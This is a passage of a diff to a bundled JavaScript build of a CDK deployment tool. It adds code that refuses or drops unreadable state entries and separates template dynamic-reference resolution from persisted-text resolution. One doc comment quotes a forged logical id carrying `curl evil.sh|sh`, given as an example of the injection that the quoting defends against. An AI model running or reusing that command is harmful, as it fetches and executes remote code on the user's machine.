+* `properties` map is also unreadable, which both predicates name. A read-only caller that takes both therefore drops
+* entries FIRST ({@link repairMalformedResourceEntriesForReadOnly}), so the
+* row is reported once, as unreadable, rather than warned about as a preview
+* and then dropped. The object test stays here rather than
+* {@link isReadableResourceEntry} because the deploy path takes this
+* predicate WITHOUT the entry one, and narrowing it would let a typeless
+* object with a torn map reach the comparison unrefused. Likewise a `resources` bag that is not readable at all
 * yields `[]` here rather than ids invented from a string's characters — that
 * class is {@link hasReadableResources}'s to report. What a caller must not do
 * is take only this one.
@@ -22096,9 +22259,8 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
 /**
 * The half the refusal and the warning share: what is wrong and which records.
 *
-* ONE spelling rather than two, for the reason {@link malformedStateDetail}
-* exists beside its own pair — the two texts differ only in what happens NEXT,
-* and a second copy of the diagnosis is what drifts.
+* ONE spelling rather than two, because the two texts differ only in what
+* happens NEXT, and a second copy of the diagnosis is what drifts.
 *
 * The STACK and REGION go through {@link safeIdentifier} and are THEN
 * shell-quoted, for the reasons that helper's own note gives: each reaches this
@@ -22129,10 +22291,10 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
 *    id ending `Prod...`.
 *
 * The cap is passed EXPLICITLY although it equals the default: a logical id is
-* valid up to `IDENT_MAX_CODE_POINTS`, and the point of not reusing
-* {@link safeIdentifier} here is that its 128 would truncate a legitimate long
-* id into one naming no record. Spelling the cap keeps that decision visible at
-* the site it was made for.
+* valid up to `IDENT_MAX_CODE_POINTS` — the cap {@link displayLogicalId} also
+* takes — and a region-sized cut would truncate a legitimate long id into one
+* naming no record. Spelling the cap keeps that decision visible at the site it
+* was made for.
 *
 * Known residual, NOT introduced here: `,` is in `PLAIN_IDENT`, so an id
 * carrying one still renders bare inside this `', '`-joined list and reads as
@@ -22268,7 +22430,8 @@ function malformedResourcePropertiesRefusalMessage(stackName, region, logicalIds
 *
 * `rawStackName` / `rawRegion` are the CALLER's resolved identity — the synthesized
 * stack name and the region `pickStackRegion` settled on, never the record's
-* own unvalidated self-report. See {@link stackClause}.
+* own unvalidated self-report (though an assembly-supplied stack name is not
+* validated either — go-to-k/cdkd#3360). See {@link stackClause}.
 */
 function malformedOrphanResourcePropertiesRefusalMessage(rawStackName, rawRegion, logicalIds, recovery) {
 	const stackName = rawStackName === "" ? void 0 : rawStackName;
@@ -22504,6 +22667,214 @@ function malformedResourcePropertiesWarning(stackName, region, logicalIds) {
 function producerRecordKey(stackName, region) {
 	return JSON.stringify([stackName, region]);
 }
+/**
+* How many unreadable logical ids a message names before summarizing. Read by
+* every builder that names ids — the refusal below, `namedEntriesClause` and
+* `malformedOrphanRecordsWarning` — so "the refusal below" was the count of
+* readers at the time it was written, not a scope.
+*
+* Five rather than the ten the `cdkd export` baseline report uses: this text
+* already carries the remedy command, and that command has to stay on the
+* reader's screen (the reason {@link safeIdentifier} caps a name at all).
+*/
+const NAMED_UNREADABLE_ENTRIES = 5;
+/**
+* The logical ids of every `resources` ENTRY that is not a readable object.
+*
+* A DIFFERENT shape from the unreadable BAG the rest of this module is about,
+* and one {@link hasReadableResources} says nothing about: it tests the bag, so
+* `{"resources": {"R": null}}` passes it and the `null` surfaces one
+* dereference later (issue go-to-k/cdkd#3018 items 1 and 2). Returns `[]` for an
+* unreadable BAG rather than inventing ids from it — a string bag would
+* otherwise yield one "id" per character. That makes the two refusals
+* ORDER-INDEPENDENT rather than ordered: whichever runs first, an unreadable
+* bag leaves this one silent and is caught by {@link refuseMalformedState}.
+* What a caller must not do is take only this one.
+*/
+function unreadableResourceEntries(state) {
+	if (!hasReadableResources(state)) return [];
+	return Object.entries(state.resources).filter(([, entry]) => !isReadableResourceEntry(entry)).map(([logicalId]) => logicalId);
+}
+/**
+* Can this ENTRY be read as a resource record at all?
+*
+* Object-ness is NOT the whole question, and taking {@link isReadableBag} for
+* the answer left a shape crashing one line past the guard: `{"R": {}}` is an
+* object, so it passed, and then `resource.resourceType.startsWith(...)` threw
+* — the same bare `TypeError` the `null` entry beside it no longer produces.
+* `resourceType` is the one field every reader of an entry touches before any
+* other (the Custom-Resource routing, the provider lookup, the skip list), so
+* it is the field that decides whether the row can be read at all.
+*
+* Deliberately NOT a widening of {@link isReadableBag}. That predicate answers
+* a question about CONTAINERS — the bag, and the four rendered containers
+* go-to-k/cdkd#3187 added — and a resource-shaped test there would refuse an
+* `outputs` map for having no `resourceType`.
+*
+* It stops at `resourceType` rather than checking `physicalId` or `properties`
+* too, and the message this feeds says only what it checks: a row with a type
+* but no physical id IS readable here, fails per-resource where it is used, and
+* is reported by that command in its own terms.
+*/
+function isReadableResourceEntry(entry) {
+	return isReadableBag(entry) && typeof entry.resourceType === "string";
+}
+/**
+* For a command that READS each resource record and WRITES the bag back: refuse
+* the record naming the entries it could not read.
+*
+* **Deliberately NOT folded into {@link refuseMalformedState}**, and the reason
+* is behavioural rather than tidiness: folding it would decide, for every one of
+* that function's callers at once, that ANY unreadable row blocks the whole
+* command — a call none of them has made. `cdkd rollback` is the counter-example
+* that settles it: its executor reaches a record by logical id and treats a
+* falsy one as `skip-already-done`, so an unrelated broken row costs it nothing
+* and refusing would stop the command documented as the way to UNWIND a stack
+* whose state is already suspect. The other callers (`cdkd import`,
+* `cdkd orphan`, `cdkd scrub`) each owe their own classification; `cdkd orphan`
+* does still throw on an unreadable sibling, which is why that one is tracked on
+* go-to-k/cdkd#3202 rather than answered here by a shared refusal.
+*
+* So the entry rule is OPT-IN, taken by a flow that dereferences EVERY entry and
+* writes the record back.
+*
+* REFUSE rather than skip, at both sites that take it — `cdkd state
+* refresh-observed`, and `cdkd drift` under `--accept` / `--revert` — because
+* each is a WRITER. Skipping would report a clean run (`N refreshed, M
+* unsupported`; `N resources checked`) with the corrupt entries invisible and
+* then save the record back, so the ONE thing the user could have acted on
+* would be the thing the run did not say. Naming them costs nothing a skip
+* would have preserved either: both refusals happen before this stack's lock
+* and before any AWS read of it, so no partial work on it is thrown away.
+*
+* PER STACK, which is why the message says so — and the callers reach a
+* multi-stack refusal differently. `cdkd state refresh-observed` checks every
+* target's shape before it saves any, so a record ALREADY malformed stops the
+* run before a write; only one edited between that check and its own refresh
+* reaches this call after the stacks ahead of it were saved. `cdkd drift --all`
+* collects every stack's report before either writer runs. The message cannot
+* tell which case it is in, so it claims only what holds for both.
+*
+* That is not an argument that a skip is always wrong — the read-only twin
+* {@link repairMalformedResourceEntriesForReadOnly} does exactly that, for
+* plain `cdkd drift` and `cdkd diff`, and warns. What makes the difference is
+* the WRITE, not the shape.
+*
+* Unlike {@link repairMalformedResourcesForReadOnly} this never mutates: the
+* entries stay exactly as stored, which is what keeps the record's own evidence
+* intact for whoever inspects it next.
+*/
+function refuseMalformedResourceEntries(state, stackName, region) {
+	const unreadable = unreadableResourceEntries(state);
+	if (unreadable.length === 0) return;
+	throw new CdkdError(malformedResourceEntriesRefusalMessage(stackName, region, unreadable), STATE_RESOURCES_MALFORMED);
+}
+/**
+* For a READ-ONLY command: drop every entry {@link unreadableResourceEntries}
+* names, so the command can report on the rest, and return what it dropped so
+* the caller can warn.
+*
+* The entry-level twin of {@link repairMalformedResourcesForReadOnly}, and it
+* makes the same trade for the same reason: a command that cannot WRITE cannot
+* launder anything, and reporting on the readable resources beats aborting on
+* the first unreadable one. It is a DROP rather than a repair-to-`{}` because
+* there is no empty `ResourceState` that would be honest — a record with no
+* `resourceType` and no `physicalId` names no AWS resource — so the entry leaves
+* the working copy entirely and the caller says so.
+*
+* Call it AFTER {@link repairMalformedResourcesForReadOnly}: an unreadable BAG
+* has no entries to drop, and {@link unreadableResourceEntries} deliberately
+* returns `[]` for one rather than inventing ids from a string's characters.
+*
+* Mutates the in-memory record only. Every caller today renders from the
+* command's own derived output rather than echoing the record back, so the drop
+* is visible as missing ROWS — which is exactly what the warning describes.
+*/
+function repairMalformedResourceEntriesForReadOnly(state) {
+	const unreadable = unreadableResourceEntries(state);
+	for (const logicalId of unreadable) delete state.resources[logicalId];
+	return unreadable;
+}
+/** The warning a caller of {@link repairMalformedResourceEntriesForReadOnly} emits. */
+function malformedResourceEntriesWarning(stackName, region, logicalIds) {
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
+	return `${namedEntriesClause(stackName, region, logicalIds)} Continuing WITHOUT them: this command's output describes the remaining resources only, which is not the same as the stack holding none of these. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* The `orphans[]` twin of {@link malformedResourceEntriesWarning}, and a
+* SEPARATE text rather than a parameter on that one.
+*
+* The shared clause says "holds N resource record(s) … the remaining resources
+* only", which sends a reader to the wrong container: the id it names was read
+* from `orphans`, and what that clause describes is the `resources` map
+* (go-to-k/cdkd#3226 review round 5, M16). Neither "the id is not in
+* `resources`" nor "that map is healthy" is safe to assert — an already-managed
+* logical id appears in both containers, and both can be damaged in one record,
+* which is the case where BOTH texts fire for one stack in one run, opening with
+* the identical sentence and differing only in the id list. That is why the
+* container has to be IN the sentence rather than inferred from it.
+*
+* What it does NOT say, deliberately: that the record would have been adopted.
+* `planOrphanAdoption` decides that, and a record it would have declined for
+* an unrelated reason (already managed, a type this binary cannot route) is
+* dropped here just the same — promising an adoption that was never going to
+* happen is the {@link malformedResourcePropertiesWarning} over-claim one
+* container over.
+*
+* Identifiers take the same path as every other builder here: the stack at
+* `safeStackName`, the region at `safeRegion`, each id through
+* {@link displayLogicalId}, and the ids capped at
+* {@link NAMED_UNREADABLE_ENTRIES} with an overflow count — a record whose
+* `logicalId` is not a string arrives as `''` and renders as the
+* `UNRENDERABLE` stand-in.
+*/
+function malformedOrphanRecordsWarning(stackName, region, logicalIds) {
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
+	const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
+	const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
+	const more = rest > 0 ? ` and ${rest} more` : "";
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} rollback-orphan record(s) in 'orphans' that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type. Continuing WITHOUT them: they are not previewed for adoption. These ids were read from 'orphans'; the 'resources' map carries its own warning when it is damaged too. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* The half the refusal and the warning share: what is wrong and which entries.
+*
+* One spelling rather than two, because the two texts differ only in what
+* happens NEXT, and a second copy of the diagnosis is what drifts.
+*/
+function namedEntriesClause(stackName, region, logicalIds) {
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
+	const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
+	const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
+	const more = rest > 0 ? ` and ${rest} more` : "";
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} resource record(s) that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type, so nothing can tell what AWS resource they name. The record is malformed or truncated.`;
+}
+/**
+* The text {@link refuseMalformedResourceEntries} raises.
+*
+* Every identifier — the stack, the region AND each logical id — is sanitized
+* and capped, for the reasons {@link safeIdentifier}'s note gives: all three
+* reach this message from a hand-edited record or an S3 key, and a
+* multi-kilobyte or line-forging one would push the remedy command off the
+* reader's screen. The stack and region are shell-quoted because they land in
+* the command. The logical ids take {@link displayLogicalId} instead: an id
+* spelled `x' Inspect it with: curl evil.sh|sh #` is not a plain identifier, so
+* it is wrapped in double quotes (an embedded `"` escaped) and its forged
+* remedy reads as part of one quoted id rather than as an instruction AHEAD of
+* the real one on this same line — the prose is one LINE ending in a pasteable
+* command, and sanitizing keeps `'`. Its other job is IDENTITY — see that
+* helper's note for why a trimmed id must not render bare.
+*
+* Exported so a test can pin the wording against the producer rather than
+* re-spelling it, the way the other messages here are consumed.
+*/
+function malformedResourceEntriesRefusalMessage(stackName, region, logicalIds) {
+	const stack = safeStackName(stackName);
+	const reg = safeRegion(region);
+	return `${namedEntriesClause(stackName, region, logicalIds)} This command can WRITE state, so it refuses rather than skipping them: saving over the record would report a clean run for entries nothing could read, and would leave the next command to fail on them with no more to go on. Nothing was locked, read from AWS or written FOR THIS STACK. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
 
 //#endregion
 //#region src/analyzer/diff-calculator.ts
@@ -27774,7 +28145,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 	/** Recursively resolve a value. */
 	async resolveValue(value, context) {
 		if (typeof value !== "object" || value === null) {
-			if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveDynamicReferences(value, context);
+			if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveTemplateLeafReferences(value, context);
 			return value;
 		}
 		if (Array.isArray(value)) return (await allSettledKeepingFirstRejection(value.map((v) => this.resolveValue(v, context)), (pending) => this.warnAbandonedParts(pending))).filter((v) => v !== AWS_NO_VALUE);
@@ -31082,7 +31453,30 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 	displayLeaf(value, context) {
 		return this.displayMasked(this.logTextOfLeaf(value, context), context);
 	}
+	/**
+	* Resolve the dynamic references of a PERSISTED string leaf: text read back
+	* out of a state record, a rollback journal or a producer stack's outputs.
+	* That is what every caller of this method hands it (`cdkd drift`, the
+	* rollback replay, `cdkd scrub`'s per-token delegation, the cross-stack
+	* re-resolution); a TEMPLATE leaf goes through {@link resolve}, which takes
+	* {@link resolveTemplateLeafReferences}.
+	*
+	* The distinction is load-bearing for ONE arm (issue #2743). A token of a
+	* service cdkd does not resolve is REFUSED on the template route when it
+	* holds a secret, because leaving it would send that secret to AWS for the
+	* first time. Persisted text is different on both counts: AWS already holds
+	* it, so refusing buys no confidentiality, and the refusal is DETERMINISTIC
+	* there -- a journal `previousState` holding `{{resolve:<plaintext>}}` beside
+	* the reference that resolves to it would fail its rollback op on every
+	* retry, where replaying the literal is a correct no-op. So this entry point
+	* keeps the warn-and-leave for every such token, and the value scan redacts
+	* whatever is persisted afterwards.
+	*/
 	async resolveDynamicReferences(value, context) {
+		return (await this.resolveDynamicReferencesWithLogTwin(value, value, context, void 0, true)).result;
+	}
+	/** A TEMPLATE string leaf: the refusing route (see {@link resolveDynamicReferences}). */
+	async resolveTemplateLeafReferences(value, context) {
 		return (await this.resolveDynamicReferencesWithLogTwin(value, value, context)).result;
 	}
 	/**
@@ -31105,7 +31499,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 	* NEEDLE match that straddles a masked span, which is why the log lines go
 	* through `logTwinText` rather than masking the twin alone.
 	*/
-	async resolveDynamicReferencesWithLogTwin(value, logTwin, context, inherited) {
+	async resolveDynamicReferencesWithLogTwin(value, logTwin, context, inherited, persistedText = false) {
 		const pattern = /\{\{resolve:([^}]+)\}\}/g;
 		let result = value;
 		let twin = logTwin;
@@ -31136,7 +31530,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 					const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
 						tokenLogText,
 						nameLogText
-					});
+					}, persistedText);
 					result = result.replace(fullMatch, () => foreign.result);
 					twin = twin.replace(fullMatch, () => foreign.twin);
 					const [delegated] = foreign.substitutions;
@@ -31200,6 +31594,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 					isSecret = true;
 					resolved = param.value;
 				} else {
+					if (!persistedText && (tokenLogText !== fullMatch || this.maskNeedlesForLog(fullMatch, context) !== fullMatch)) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.displayMasked(tokenLogText, context)}: its service is not one cdkd resolves (secretsmanager, ssm, ssm-secure), and the reference was assembled from a secret value, so leaving it as written would send that value to AWS and record it in state in the clear.`));
 					this.logger.warn(this.displayMasked(`Unsupported dynamic reference service: ${this.displayMasked(nameLogText(String(service)), context)}`, context));
 					complete = false;
 					continue;
@@ -33152,7 +33547,7 @@ var CloudControlProvider = class {
 		const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
 		if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
 			this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
-			const { ASGProvider } = await import("./asg-provider-CXLgFrPg.js").then((n) => n.n);
+			const { ASGProvider } = await import("./asg-provider-CH4oHOxq.js").then((n) => n.n);
 			const asgProvider = new ASGProvider();
 			return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
 		}
@@ -46860,5 +47255,5 @@ var DeployEngine = class DeployEngine {
 };
 
 //#endregion
-export { yellow as $, NestedStackChildDirectDestroyError as $i, identityKeyFor as $n, getDockerCmd as $r, requireConfigObject as $t, createPreDeleteFinalSnapshot as A, PARTITION_TABLE as Ai, refuseMalformedNestedChildOutputs as An, stringifyValue as Ar, carriesDynamicReference as At, isStatefulRecreateTargetSync as B, setAwsClients as Bi, findSilentDropProperties as Bn, getBootstrapMarkerKey as Br, isSettledInstanceState as Bt, namesAnyDeclaredParameter as C, CFN_TEMPLATE_URL_LIMIT as Ci, malformedOutputsWarning as Cn, importableOutputKeys as Cr, slowCcOperationTimeoutMs as Ct, PRE_DELETE_SNAPSHOT_TYPES as D, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as Di, malformedStateRefusalMessage as Dn, orphansCarriedFrom as Dr, disableInstanceApiTermination as Dt, ATOMIC_FINAL_SNAPSHOT_TYPES as E, uploadCfnTemplate as Ei, malformedResourcesWarning as En, orphansAfterRollback as Er, deleteSkipReason as Et, extractDeploymentEventError as F, clearBucketRegionCache as Fi, refuseMalformedState as Fn, rewriteTemplateAssetReferences as Fr, isImpossibleEmptyStoredAttribute as Ft, toCfnInteger as G, DependencyError as Gi, STATE_SOURCED_BASELINE_RULES as Gn, validateContainerRepoName as Gr, coerceCfnBoolean as Gt, WARM_THROUGHPUT_MEMBERS as H, CdkdError as Hi, withRetry as Hn, parseBootstrapMarker as Hr, normalizeAwsTagsToCfn as Ht, makeSiblingClaimReader as I, resolveBucketRegion as Ii, repairMalformedOutputsForReadOnly as In, AssetModeResolver as Ir, isNamelessDynamicReferenceError as It, bold as J, IntrinsicResolutionRefusalError as Ji, TEMPLATE_SOURCED_RULES as Jn, describeDockerCapturedOutput as Jr, configIntegerRefusal as Jt, toFiniteNumber as K, DeployCancelledError as Ki, STATE_SOURCED_CROSS_GENERATION_RULES as Kn, buildDenyExternalAccessPolicy as Kr, coerceCfnInteger as Kt, planOrphanAdoption as L, AwsClients as Li, repairMalformedResourcePropertiesForReadOnly as Ln, BOOTSTRAP_MARKER_PREFIX as Lr, isUnboundTemplateParameter as Lt, refusesFinalSnapshot as M, derivePartitionAndUrlSuffix as Mi, refuseMalformedOutputsForDestroy as Mn, buildAssetRedirectMap as Mr, cfnRefValueFromPhysicalId as Mt, unsupportedFinalSnapshotError as N, AssemblyReader as Ni, refuseMalformedResourcePropertiesForOrphan as Nn, createAssetRedirectResolver as Nr, coerceParameterTypedValue as Nt, buildFinalSnapshotIdentifier as O, decodeListingKey as Oi, producerRecordKey as On, shouldRetainResource as Or, isTerminationProtectionPropagationError as Ot, makeCanonicalizePropertiesFn as P, processStackMessages as Pi, refuseMalformedResourcesForDestroy as Pn, loadPublishableAssetManifest as Pr, getAccountInfo as Pt, red as Q, MalformedProducerRecordRefusalError as Qi, errorCauseChain as Qn, formatDockerLoginError as Qr, requireConfigArray as Qt, MULTI_REGION_RECREATE_BLOCKED_TYPES as R, getAwsClients as Ri, repairMalformedResourcesForReadOnly as Rn, assertAssetBucketRegion as Rr, parameterTypeMayLoseSecretIdentity as Rt, computeParameterTaint as S, CFN_TEMPLATE_BODY_LIMIT as Si, malformedOutputsRefusalMessage as Sn, hasUnverifiableParameterRefusal as Sr, isWaitAbandonedError as St, resourcesNamingDeclaredParameter as T, findLargeInlineResources as Ti, malformedResourcePropertiesWarning as Tn, isReadableBag as Tr, deleteIndeterminateGuards as Tt, coerceWarmThroughput as U, ConfigError as Ui, DagBuilder as Un, readBootstrapMarkerBody as Ur, resolveExplicitPhysicalId as Ut, renderStatefulReason as V, AssetError as Vi, describeTypeWithThrottleRetry as Vn, isCrossRegionRedirect as Vr, WAFv2WebACLProvider as Vt, isWarmThroughputDecrease as W, CrossAccountSecretRefusalError as Wi, TemplateParser as Wn, validateAssetBucketName as Wr, assertRegionMatch as Wt, gray as X, LocalStartServiceError as Xi, createSecretMasker as Xn, describeDockerFailure as Xr, readConfigString as Xt, cyan as Y, LocalInvokeBuildError as Yi, carriesSecretMask as Yn, describeDockerExecFailure as Yr, configStringRefusal as Yt, green as Z, LockError as Zi, dynamicReferenceTokens as Zn, dockerSpawnEnvWithSensitive as Zr, replayWarn as Zt, bagHoldsSecretExpression as _, markRedactedCause as _a, resolveStateBucketWithDefaultAndSource as _i, hasReadableOutputs as _n, CUSTOM_RESOURCE_RESPONSE_PREFIX as _r, endCommandInterruptScope as _t, DeploymentEventsStore as a, StackTerminationProtectionError as aa, stripControlChars as ai, s3BucketDomainName as an, recoverMaskedOutput as ar, secretBearingStateKeyWarning as at, mergeNoChangeOutputs as b, safeStringify$1 as ba, warnDeprecatedNoPrefixCliFlag as bi, malformedExportSourceWarning as bn, hasReadableExportSet as br, startInterruptWatch as bt, replayFailedOperations as c, formatError as ca, Synthesizer as ci, s3BucketWebsiteUrl as cn, LockManager as cr, IAMRoleProvider as ct, updatePartialMessage as d, withErrorHandling as da, getLegacyStateBucketName as di, applyCallerIdentityCredentials as dn, UNREPRODUCIBLE_LOCK_CLAUSE as dr, ProviderRegistry as dt, PartialFailureError as ea, partitionSensitiveEnv as ei, requireConfigString as en, isSingleDynamicReferenceToken as er, collectDeclaredOutputNames as et, updatePartialReason as f, isMarkedNonRetryable as fa, resolveApp as fi, callerEnvCredentials as fn, buildForceUnlockCommand as fr, wouldReturnToSdkProvider as ft, computeImplicitDeleteEdges as g, markNonRetryable as ga, resolveStateBucketWithDefault as gi, STATE_RESOURCES_MALFORMED as gn, shellQuote as gr, beginCommandInterruptScope as gt, IMPLICIT_DELETE_DEPENDENCIES as h, isTransientServerError as ha, resolveSkipPrefix as hi, INTRINSIC_KEYS as hn, formatLockExpiry as hr, maskerOrIdentity as ht, DeploymentEventsReader as i, StackHasActiveImportsError as ia, escapeRegExp$1 as ii, s3BucketArn as in, recordMaskOnlyValue as ir, secretBearing as it, isFinalSnapshotError as j, canonicalizeRegion as ji, refuseMalformedOutputs as jn, WorkGraph as jr, carriesFetchableDynamicReference as jt, ccRoutedFinalSnapshotError as k, expectedOwnerParam as ki, refuseDivergentRecordRegionForDestroy as kn, AssetPublisher as kr, IntrinsicFunctionResolver as kt, replayRollback as l, isCdkdError as la, synthesisStatusMessage as li, applyRoleArnIfSet as ln, S3StateBackend as lr, collectInlinePolicyNamesManagedBySiblings as lt, maskingRetryLogger as m, isThrottlingError as ma, resolveCaptureObservedState as mi, DiffCalculator as mn, forceQuitRecoveryClause as mr, maskDeep as mt, DEFAULT_RESOURCE_WARN_AFTER_MS as n, ResourceTimeoutError as na, runDockerForeground as ni, producerRegionsFromState as nn, maskSecretsInError as nr, exportAliasCollisionScrubWarning as nt, planFailedOps as o, StateError as oa, AssetManifestLoader as oi, s3BucketDualStackDomainName as on, redactSecretsForState as or, secretSafeKeyDisplay as ot, withResourceDeadline as p, isRetryableTransientError as pa, resolveAutoAssetStorage as pi, envCredentialsAreAssumedRole as pn, buildLockContentionMessage as pr, createMaskedRetryLogger as pt, formatResourceLine as q, DynamicReferenceRegionAmbiguousError as qi, STATE_SOURCED_READBACK_RULES as qn, buildDockerImage as qr, configBooleanRefusal as qt, DeployEngine as r, ResourceUpdateNotSupportedError as ra, runDockerStreaming as ri, withSharedDrainBudget as rn, maskSecretsInText as rr, isExportAliasCollision as rt, planRollback as s, SynthesisError as sa, getDockerImageBySourceHash as si, s3BucketRegionalDomainName as sn, scrubResourceRecord as sr, getCurrentResourceSecrets as st, DEFAULT_RESOURCE_TIMEOUT_MS as t, ProvisioningError as ta, redactDockerArgvValues as ti, classifyReplaySecretRegion as tn, markSameGenerationBag as tr, collectPublishedOutputNames as tt, resolveReplacementOldType as u, normalizeAwsError as ua, getDefaultStateBucketName as ui, AWS_CREDENTIAL_ENV_KEYS as un, rebuildClientForBucketRegion as ur, clearOnUpdateRemoval as ut, isSecretBearingReferenceString as v, retryClassificationText as va, resolveUseCdkBootstrapAssets as vi, hasReadableResources as vn, DEFAULT_STATE_PREFIX as vr, interruptWatchListenerCount as vt, reachableDivergentParameters as w, MIGRATE_TMP_PREFIX as wi, malformedRenderedContainersWarning as wn, importableOutputs as wr, UNSPECIFIED_SKIP_REASON as wt, bindingSkippedOutputs as x, __exportAll as xa, ssmResolvedValueType as xi, malformedLocalOutputsWarning as xn, hasReasonlessBaselineRefusal as xr, CloudControlProvider as xt, keptWholeReasonText as y, describeAwsFailure as ya, stateBucketExistenceConfirmed as yi, malformedExportNamesWarning as yn, exportNamesCarriedFrom as yr, isInterruptedWaitError as yt, isStatefulRecreateTargetForReplace as z, resetAwsClients as zi, findActionableSilentDrops as zn, ensureAssetStorage as zr, refStateLookupFromResource as zt };
-//# sourceMappingURL=deploy-engine-pVC4fG22.js.map
+export { yellow as $, CrossAccountSecretRefusalError as $i, TemplateParser as $n, validateAssetBucketName as $r, requireConfigObject as $t, createPreDeleteFinalSnapshot as A, __exportAll as Aa, ssmResolvedValueType as Ai, malformedResourcePropertiesWarning as An, hasReasonlessBaselineRefusal as Ar, carriesDynamicReference as At, isStatefulRecreateTargetSync as B, canonicalizeRegion as Bi, refuseMalformedResourcesForDestroy as Bn, WorkGraph as Br, isSettledInstanceState as Bt, namesAnyDeclaredParameter as C, isThrottlingError as Ca, resolveCaptureObservedState as Ci, malformedExportSourceWarning as Cn, forceQuitRecoveryClause as Cr, slowCcOperationTimeoutMs as Ct, PRE_DELETE_SNAPSHOT_TYPES as D, retryClassificationText as Da, resolveUseCdkBootstrapAssets as Di, malformedOutputsWarning as Dn, DEFAULT_STATE_PREFIX as Dr, disableInstanceApiTermination as Dt, ATOMIC_FINAL_SNAPSHOT_TYPES as E, markRedactedCause as Ea, resolveStateBucketWithDefaultAndSource as Ei, malformedOutputsRefusalMessage as En, CUSTOM_RESOURCE_RESPONSE_PREFIX as Er, deleteSkipReason as Et, extractDeploymentEventError as F, uploadCfnTemplate as Fi, refuseMalformedNestedChildOutputs as Fn, orphansAfterRollback as Fr, isImpossibleEmptyStoredAttribute as Ft, toCfnInteger as G, resolveBucketRegion as Gi, repairMalformedResourcesForReadOnly as Gn, AssetModeResolver as Gr, coerceCfnBoolean as Gt, WARM_THROUGHPUT_MEMBERS as H, AssemblyReader as Hi, repairMalformedOutputsForReadOnly as Hn, createAssetRedirectResolver as Hr, normalizeAwsTagsToCfn as Ht, makeSiblingClaimReader as I, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as Ii, refuseMalformedOutputs as In, orphansCarriedFrom as Ir, isNamelessDynamicReferenceError as It, bold as J, resetAwsClients as Ji, findActionableSilentDrops as Jn, ensureAssetStorage as Jr, configIntegerRefusal as Jt, toFiniteNumber as K, AwsClients as Ki, safeRegion as Kn, BOOTSTRAP_MARKER_PREFIX as Kr, coerceCfnInteger as Kt, planOrphanAdoption as L, decodeListingKey as Li, refuseMalformedOutputsForDestroy as Ln, shouldRetainResource as Lr, isUnboundTemplateParameter as Lt, refusesFinalSnapshot as M, CFN_TEMPLATE_URL_LIMIT as Mi, malformedStateRefusalMessage as Mn, importableOutputKeys as Mr, cfnRefValueFromPhysicalId as Mt, unsupportedFinalSnapshotError as N, MIGRATE_TMP_PREFIX as Ni, producerRecordKey as Nn, importableOutputs as Nr, coerceParameterTypedValue as Nt, buildFinalSnapshotIdentifier as O, describeAwsFailure as Oa, stateBucketExistenceConfirmed as Oi, malformedRenderedContainersWarning as On, exportNamesCarriedFrom as Or, isTerminationProtectionPropagationError as Ot, makeCanonicalizePropertiesFn as P, findLargeInlineResources as Pi, refuseDivergentRecordRegionForDestroy as Pn, isReadableBag as Pr, getAccountInfo as Pt, red as Q, ConfigError as Qi, DagBuilder as Qn, readBootstrapMarkerBody as Qr, requireConfigArray as Qt, MULTI_REGION_RECREATE_BLOCKED_TYPES as R, expectedOwnerParam as Ri, refuseMalformedResourceEntries as Rn, AssetPublisher as Rr, parameterTypeMayLoseSecretIdentity as Rt, computeParameterTaint as S, isRetryableTransientError as Sa, resolveAutoAssetStorage as Si, malformedExportNamesWarning as Sn, buildLockContentionMessage as Sr, isWaitAbandonedError as St, resourcesNamingDeclaredParameter as T, markNonRetryable as Ta, resolveStateBucketWithDefault as Ti, malformedOrphanRecordsWarning as Tn, shellQuote as Tr, deleteIndeterminateGuards as Tt, coerceWarmThroughput as U, processStackMessages as Ui, repairMalformedResourceEntriesForReadOnly as Un, loadPublishableAssetManifest as Ur, resolveExplicitPhysicalId as Ut, renderStatefulReason as V, derivePartitionAndUrlSuffix as Vi, refuseMalformedState as Vn, buildAssetRedirectMap as Vr, WAFv2WebACLProvider as Vt, isWarmThroughputDecrease as W, clearBucketRegionCache as Wi, repairMalformedResourcePropertiesForReadOnly as Wn, rewriteTemplateAssetReferences as Wr, assertRegionMatch as Wt, gray as X, AssetError as Xi, describeTypeWithThrottleRetry as Xn, isCrossRegionRedirect as Xr, readConfigString as Xt, cyan as Y, 